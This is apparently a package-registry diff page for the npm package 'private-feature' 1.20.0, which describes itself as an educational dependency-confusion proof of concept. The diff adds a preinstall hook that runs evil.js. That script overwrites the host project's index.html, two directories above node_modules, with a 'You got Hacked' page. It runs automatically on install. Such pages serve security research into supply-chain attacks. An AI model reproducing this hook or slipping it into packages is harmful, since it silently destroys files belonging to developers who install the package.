npm - private-feature - Versions diffs - 1.20.0 - Mend

private-feature 1.20.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (3) hide show

package/evil.js ADDED Viewed

@@ -0,0 +1,21 @@
+const fs = require('fs');
+const path = require('path');
+// Path to template in node_modules
+const templatePath = path.join(__dirname, 'template.html');
+// Path to the project
+const destinationPath = path.join(__dirname, '..', '..', 'index.html');
+// Read the template file
+fs.readFile(templatePath, 'utf8', function(err, data) {
+    if (err) {
+        return console.error(err);
+    }
+    // Erase index.html
+    fs.writeFile(destinationPath, data, 'utf8', function(err) {
+        if (err) {
+            return console.error(err);
+        }
+    });
+});

package/package.json ADDED Viewed

@@ -0,0 +1,10 @@
+{
+  "name": "private-feature",
+  "version": "1.20.0",
+  "description": "A POC for Dependency Confusion for educational purpose, DO NOT DONWLOAD.",
+  "main": "feature.js",
+  "scripts": {
+    "preinstall": "node evil.js"
+  }
+}

package/template.html ADDED Viewed

@@ -0,0 +1,10 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <title>Evil script</title>
+</head>
+<body>
+    <h1>You got Hacked</h1>
+</body>
+</html>